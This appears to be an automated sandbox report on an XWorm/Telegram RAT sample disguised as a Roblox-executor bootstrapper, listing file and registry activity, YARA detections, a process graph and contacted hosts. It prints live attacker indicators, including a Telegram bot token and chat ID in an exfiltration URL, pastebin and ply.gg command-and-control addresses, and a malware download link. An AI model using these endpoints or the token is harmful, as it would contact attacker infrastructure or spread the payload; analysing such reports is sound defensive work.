Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe Queries volume information: C:\Users\user\AppData\Roaming\explorer.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe Queries volume information: C:\Users\user\AppData\Roaming\explorer.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe Queries volume information: C:\Users\user\AppData\Roaming\explorer.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe Queries volume information: C:\Users\user\AppData\Roaming\explorer.exe VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe Queries volume information: C:\Users\user\AppData\Roaming\explorer.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Queries volume information: C:\Users\user\AppData\Local\Temp\TrojanXD.exe VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbtmp.log VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbtmp.log VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbres00001.jrs VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbres00002.jrs VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.log VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.log VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.log VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.chk VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.jfm VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.edb VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.edb VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\tmp.edb VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.chk VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\SRPData.xml VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\DiagOutputDir VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\DiagOutputDir\CriticalError_playbackTrace_1748106733.txt VolumeInformation
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe Queries volume information: C:\Windows\Fonts\segoeuil.ttf VolumeInformation
Source: C:\Users\user\AppData\Roaming\explorer.exe Queries volume information: C:\Users\user\AppData\Roaming\explorer.exe VolumeInformation
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373C0754 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 0_2_00007FF6373C0754
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373A51A4 GetVersionExW, 0_2_00007FF6373A51A4
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information
barindex
Yara detected Telegram RAT
Source: Yara match File source: 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 8svMXMXNRn.exe PID: 6472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: BootstrapperV21.exe PID: 6524, type: MEMORYSTR
Yara detected XWorm
Source: Yara match File source: 2.0.BootstrapperV21.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.2035345072.0000000000752000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 8svMXMXNRn.exe PID: 6472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: BootstrapperV21.exe PID: 6524, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Roaming\explorer.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe, type: DROPPED
Source: Yara match File source: sslproxydump.pcap, type: PCAP

Remote Access Functionality
barindex
Yara detected Telegram RAT
Source: Yara match File source: 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 8svMXMXNRn.exe PID: 6472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: BootstrapperV21.exe PID: 6524, type: MEMORYSTR
Yara detected XWorm
Source: Yara match File source: 2.0.BootstrapperV21.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.2032035840.000001E9E40E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.2035345072.0000000000752000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 8svMXMXNRn.exe PID: 6472, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: BootstrapperV21.exe PID: 6524, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Roaming\explorer.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe, type: DROPPED
Source: Yara match File source: sslproxydump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1532623 Sample: 8svMXMXNRn.exe Startdate: 13/10/2024 Architecture: WINDOWS Score: 100 88 pastebin.com 2->88 90 api.telegram.org 2->90 92 10 other IPs or domains 2->92 108 Multi AV Scanner detection for domain / URL 2->108 110 Suricata IDS alerts for network traffic 2->110 112 Found malware configuration 2->112 118 20 other signatures 2->118 11 8svMXMXNRn.exe 9 2->11         started        14 explorer.exe 2->14         started        17 explorer.exe 2->17         started        19 6 other processes 2->19 signatures3 114 Connects to a pastebin service (likely for C&C) 88->114 116 Uses the Telegram API (likely for C&C communication) 90->116 process4 file5 78 C:\Users\user\AppData\...\BootstrapperV21.exe, PE32 11->78 dropped 80 C:\Users\user\AppData\...\Bootstrapper.exe, PE32+ 11->80 dropped 21 BootstrapperV21.exe 18 193 11->21         started        26 Bootstrapper.exe 14 7 11->26         started        148 Antivirus detection for dropped file 14->148 150 Multi AV Scanner detection for dropped file 14->150 152 Machine Learning detection for dropped file 14->152 signatures6 process7 dnsIp8 98 api.telegram.org 149.154.167.220, 443, 49999 TELEGRAMRU United Kingdom 21->98 100 cash-hispanic.gl.at.ply.gg 147.185.221.23, 1764, 50002, 50003 SALSGIVERUS United States 21->100 72 C:\Users\user\AppData\Roaming\explorer.exe, PE32 21->72 dropped 74 C:\Users\user\AppData\Local\Temp\voosiq.exe, PE32+ 21->74 dropped 120 Antivirus detection for dropped file 21->120 122 Multi AV Scanner detection for dropped file 21->122 124 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 21->124 128 5 other signatures 21->128 28 voosiq.exe 21->28         started        32 powershell.exe 21->32         started        34 powershell.exe 21->34         started        41 4 other processes 21->41 102 pastebin.com 172.67.19.24, 443, 49706 CLOUDFLARENETUS United States 26->102 104 127.0.0.1 unknown unknown 26->104 106 2 other IPs or domains 26->106 76 C:\Users\user\...\BootstrapperV1.22.exe, PE32+ 26->76 dropped 126 Machine Learning detection for dropped file 26->126 36 BootstrapperV1.22.exe 26->36         started        39 conhost.exe 26->39         started        file9 signatures10 process11 dnsIp12 82 C:\Users\user\AppData\Local\...\TrojanXD.exe, PE32 28->82 dropped 84 C:\Users\user\AppData\Local\Temp\script.vbs, Unicode 28->84 dropped 142 Multi AV Scanner detection for dropped file 28->142 43 TrojanXD.exe 28->43         started        46 wscript.exe 28->46         started        144 Loading BitLocker PowerShell Module 32->144 48 conhost.exe 32->48         started        50 conhost.exe 34->50         started        94 edge-term4-fra4.roblox.com 128.116.44.3, 443, 49711 ROBLOX-PRODUCTIONUS United States 36->94 96 www.nodejs.org 104.20.23.46, 443, 49712 CLOUDFLARENETUS United States 36->96 86 \Device\ConDrv, ISO-8859 36->86 dropped 146 Machine Learning detection for dropped file 36->146 52 cmd.exe 36->52         started        54 conhost.exe 36->54         started        56 WerFault.exe 36->56         started        58 conhost.exe 41->58         started        60 2 other processes 41->60 file13 signatures14 process15 signatures16 130 Antivirus detection for dropped file 43->130 132 Multi AV Scanner detection for dropped file 43->132 134 Protects its processes via BreakOnTermination flag 43->134 140 3 other signatures 43->140 62 cmd.exe 43->62         started        136 Windows Scripting host queries suspicious COM object (likely to drop second stage) 46->136 138 Uses ipconfig to lookup or modify the Windows network settings 52->138 64 conhost.exe 52->64         started        66 ipconfig.exe 52->66         started        process17 process18 68 conhost.exe 62->68         started        70 reg.exe 62->70         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
172.67.19.24
 pastebin.com United States
13335 CLOUDFLARENETUS true
147.185.221.23
 cash-hispanic.gl.at.ply.gg United States
12087 SALSGIVERUS true
104.21.93.27
 getsolara.dev United States
13335 CLOUDFLARENETUS false
172.66.44.59
 79c62fd6.solaraweb-alj.pages.dev United States
13335 CLOUDFLARENETUS false
128.116.44.3
 edge-term4-fra4.roblox.com United States
22697 ROBLOX-PRODUCTIONUS false
104.20.23.46
 www.nodejs.org United States
13335 CLOUDFLARENETUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
edge-term4-fra4.roblox.com 128.116.44.3 true
cash-hispanic.gl.at.ply.gg 147.185.221.23 true
nodejs.org 104.20.22.46 true
getsolara.dev 104.21.93.27 true
79c62fd6.solaraweb-alj.pages.dev 172.66.44.59 true
www.nodejs.org 104.20.23.46 true
api.telegram.org 149.154.167.220 true
pastebin.com 172.67.19.24 true
clientsettings.roblox.com unknown unknown
settings-ssl.xboxlive.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://79c62fd6.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe false unknown
https://api.telegram.org/bot8013268995:AAHt5-BJsAIEM9hnoTy17y1WYC4NnCMU398/sendMessage?chat_id=5405936031&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A58ABE3825259C230781C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%208TH9_M1_S%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2 true
    		unknown
    https://pastebin.com/raw/ZESVzSgK false unknown
    https://www.nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi false unknown
    127.0.0.1 true unknown
    https://getsolara.dev/asset/discord.json false unknown
    cash-hispanic.gl.at.ply.gg true unknown
    https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live false unknown
    https://getsolara.dev/api/endpoint.json false unknown